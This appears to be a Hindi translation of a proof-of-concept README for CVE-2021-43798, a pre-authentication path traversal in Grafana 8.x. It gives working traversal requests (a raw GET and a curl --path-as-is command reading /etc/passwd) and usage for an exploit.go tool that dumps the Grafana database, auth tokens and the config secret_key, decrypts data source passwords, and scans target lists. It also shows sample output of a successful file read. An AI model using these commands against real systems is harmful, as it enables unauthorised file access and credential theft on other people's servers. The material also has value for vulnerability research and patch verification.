
CVE-2021-43798 - Grafana 8.x Path Traversal (प्रमाणीकरण-पूर्व)
Grafana 8.x पाथ ट्रैवर्सल (प्री-ऑथ)
सभी क्रेडिट j0v और उनके ट्वीट को जाते हैं https://twitter.com/j0v0x0/status/1466845212626542607
यह केवल शैक्षिक उद्देश्यों के लिए है। मैं आपके कार्यों के लिए ज़िम्मेदार नहीं हूँ। अपने विवेक से उपयोग करें।
सद्भावना से, मैंने इस PoC को तब तक जारी करने से रोका है जब तक कि यह भेद्यता सार्वजनिक न हो जाए या पैच उपलब्ध न हो जाए।
मैंने j0v का ट्वीट देखा, जिसमें दावा किया गया था कि Grafana में पाथ ट्रैवर्सल बग मिला है। जिज्ञासावश, मैंने Grafana के सोर्स कोड को देखना शुरू किया। ट्वीट में उल्लेख किया गया था कि यह प्री-ऑथ बग है। Grafana में केवल कुछ ही सार्वजनिक API एंडपॉइंट हैं, और उनमें से केवल एक ने उपयोगकर्ता से फ़ाइल पथ लिया था।
Grafana में एक सार्वजनिक API एंडपॉइंट है, /public/plugins/:pluginId, जो आपको प्लगइन की एसेट्स देखने की अनुमति देता है। यह एक मान्य :pluginId प्रदान करके और फिर फ़ाइल पथ, जैसे , निर्दिष्ट करके काम करता है। हालाँकि, Grafana उपयोगकर्ता द्वारा प्रदान किए गए फ़ाइल पथ को सैनिटाइज़ करने में विफल रहता है, जिससे पाथ ट्रैवर्सल होता है।
img/logo.pngजिस डायरेक्टरी को एक्सेस किया जा रहा है वह <grafana>/public/app/plugins/panel/<pluginId> पर है। एक मानक Grafana इंस्टॉलेशन पर, Grafana डेटा डायरेक्टरी /usr/share/grafana होती है। इसलिए 8 डायरेक्टरी पीछे जाकर, आप फाइलसिस्टम रूट डायरेक्टरी तक पहुँच सकते हैं।
HTTP अनुरोध:
GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
समस्या पैदा करने वाला कोड: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
नोट: यह ब्राउज़र में काम नहीं करता (जो पथ में ../ को स्वचालित रूप से समेट देता है)
इसे curl के साथ --path-as-is तर्क का उपयोग करके परीक्षण किया जा सकता है:
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
इस भेद्यता का उपयोग करके किए जा सकने वाले कुछ हमले ये हैं:
Grafana, डिफ़ॉल्ट रूप से, sqlite3 डेटाबेस का उपयोग करता है। यह /var/lib/grafana/grafana.db में संग्रहीत होता है। आप इस डेटाबेस को डंप करने के लिए exploit.go स्क्रिप्ट का उपयोग कर सकते हैं।
उदाहरण:
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db
फिर आप उपयोगकर्ताओं, प्रमाणीकरण टोकन और डेटा स्रोतों को प्राप्त करने के लिए इस डेटाबेस को पढ़ सकते हैं।
Grafana अपना कॉन्फ़िगरेशन <grafana>/conf/defaults.ini फ़ाइल में संग्रहीत करता है। यहाँ कुछ दिलचस्प मान हैं जैसे secret_key, host, user, password, यदि sqlite3 के बजाय mysql का उपयोग कर रहे हैं।
उदाहरण:
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini
Grafana defaults.ini कॉन्फ़िग फ़ाइल में secret_key का उपयोग करके सभी डेटा स्रोत पासवर्ड को AES-256-CBC के साथ एन्क्रिप्ट करता है। हम इस कॉन्फ़िग फ़ाइल को, जैसा ऊपर दिखाया गया है, डंप कर सकते हैं और फिर डेटाबेस से मानों को डिक्रिप्ट कर सकते हैं।
Grafana सत्र टोकन को auth_tokens तालिका में संग्रहीत करता है। मैं किसी सत्र को अधिग्रहित नहीं कर पाया हूँ, लेकिन यदि आप सोर्स कोड पढ़ते हैं, तो आप इसे समझ सकते हैं।
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)
[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
go run exploit.go -target <target> -file <path>
go run exploit.go -target <target> -file <path> -output <file>
नोट: एकाधिक लक्ष्यों के साथ काम नहीं करता
go run exploit.go -list <list> -file <path>
go run exploit.go -target <target> -dump-config
go run exploit.go -target <target> -dump-database
make build